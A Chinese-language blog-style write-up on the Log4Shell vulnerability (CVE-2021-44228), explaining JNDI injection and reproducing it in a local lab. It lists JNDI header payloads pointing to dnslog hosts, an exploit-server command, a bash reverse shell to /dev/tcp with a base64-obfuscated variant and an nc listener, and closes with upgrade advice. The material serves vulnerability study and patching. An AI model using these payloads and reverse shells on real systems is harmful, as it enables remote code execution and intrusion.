log4j漏洞分析及总结

2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】，堪称史诗级核弹漏洞，虽然过了这么久，大部分现网中的相关漏洞已经修复，但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘，年前年后比较忙，一直没有好好的分析总结该漏洞，最近学习下刚好补上。

漏洞描述及影响

log4j是Apache的一个开源项目，是一个基于Java的日志记录框架。Log4j2是log4j的后继者，被大量用于业务系统开发，记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后，凡是在可触发错误记录日志的地方，插入漏洞利用代码，即可利用成功。特殊情况下，若该组件记录的日志包含其他系统的记录日志，则有可能造成间接投毒。通过中间系统，使得组件间接读取了具有攻击性的漏洞利用代码，亦可间接造成漏洞触发。

同时该漏洞还影响很多全球使用量的Top序列的通用开源组件，例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等

用户认证：不需要用户认证触发方式：远程配置方式：默认利用条件：需要外网访问权限影响版本：2.0 ≤ Apache Log4j2 < 2.15.0-rc2利用难度：极低，无需授权即可远程代码执行威胁等级：严重，能造成远程代码执行综合评估漏洞利用难度极低，利用要求较少，影响范围很大，危害极其严重，且已经被黑客公开利用持续全网扫描，根据部里要求，需要紧急修复。

漏洞分析

该漏洞的主要原因是log4j在日志输出中，未对字符合法性进行严格的限制，执行了JNDI协议加载的远程恶意脚本，从而造成RCE。这里面有一个关键点就是，什么是JNDI,为什么JNDI可以造成RCE
【Java JNDI使用详解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927，这篇文章中很好的介绍了什么是JNDI，这里摘抄文章中的重点的部分，以作说明,

JNDI（Java Naming and Directory Interface–Java命名和目录接口）是Java中为命名和目录服务提供接口的API，通过名字可知道，JNDI主要由两部分组成：Naming（命名）和Directory（目录），其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成，Java应用程序通过JNDI API访问目录服务，而JNDI API会调用Naming Manager实例化JNDI SPI，然后通过JNDI SPI去操作命名或目录服务其如LDAP， DNS，RMI等，JNDI内部已实现了对LDAP，DNS， RMI等目录服务器的操作API。

这里面有个很重要的点，java应用程序中可以调用JNDI协议访问远程服务，其底层包含了RMI、LDAP、DNS等协议的调用，说明白点，就是可以通过JNDI访问远程的相关目录服务，本次爆发的攻击payload都是通过jndi调用了远程的恶意class，然后本地反序列化执行。和以前的fastjson攻击的手法差不多，这里面涉及到jndi注入和java反序列化漏洞的相关知识，可以作为一个单独的文章来说明，这里只将和log4j本次漏洞相关的。详细的，可以参考网上的一篇文章，【深入理解JNDI注入与Java反序列化漏洞利用】
首先我们看一下，收集到的log4j payload:

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

以及一些变形的payload:

这些payload的形式大多类似与这样：
${jndi:ldap://xxxx.com.cn},我们可以看看直接在代码中利用log4j输出以上字符串，到底会发生什么，上代码：

//首先在pom文件中，引入含有漏洞的log4j包，pom文件<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>// 直接在代码中输出含有ldap的dnslog的查询，
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {private static Logger logger = LogManager.getLogger("Log4jDemoApplication");public static void main(String[] args) {logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");}
}

运行以上代码，观察到dnslog上有反查记录，说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名，留下了查找记录

既然能远程访问，那返回的又是什么呢，有没有可能加载远程服务器上的恶意类呢？答案是肯定的，我们只需要构建一个ldap或rmi远程服务即可，让远程服务器返回恶意class，如图

验证

按照以上的思路，首先要在远程服务器上准备ldap或rmi服务，这里我们利用现成的工具，【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】，github上已有大神准备好了，这个jar包的作用是在服务器上开启ldap和rmi服务，并且可以自定义要执行的代码。命令执行格式如下：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"

A参数为远程服务器的IP，我们只需要关注payload，将他变为要执行的代码即可。这里我们直接反弹一个shell，payload为
bash -i >& /dev/tcp/serverip/port 0>&1,因为其中含有&等特需符号，为防止执行不成功，换一种写法，变形为，bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i},本质上和前面是一样的，只不过是将前面的payload先base64编码后再解码。
执行后，输出如下：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分别在1099端口和1389端口，开启了rmi，ldap的监听服务，等待jndi的连接。同时我们也再9999端口，开启一个反弹监听端口，等待反弹shell上线。

nc -lvvp 9999

这里，我们直接用本地搭建漏洞环境，也可以用volfocus上的在线靶场环境。启动本地含有漏洞的spring boot的服务，如图：

以上环境在request header 中X-Api-Version 中存在log4j2的漏洞，直接在postman中发送请求：

观察远程服务端：

再观察反弹的9999端口：

以上可以看到反弹shell，成功上线。

修复

从前面的分析验证可以看出，该漏洞可直接加载远程代码，反弹shell，危害巨大。需将log4j2的jar包升级为2.17-rc2及以上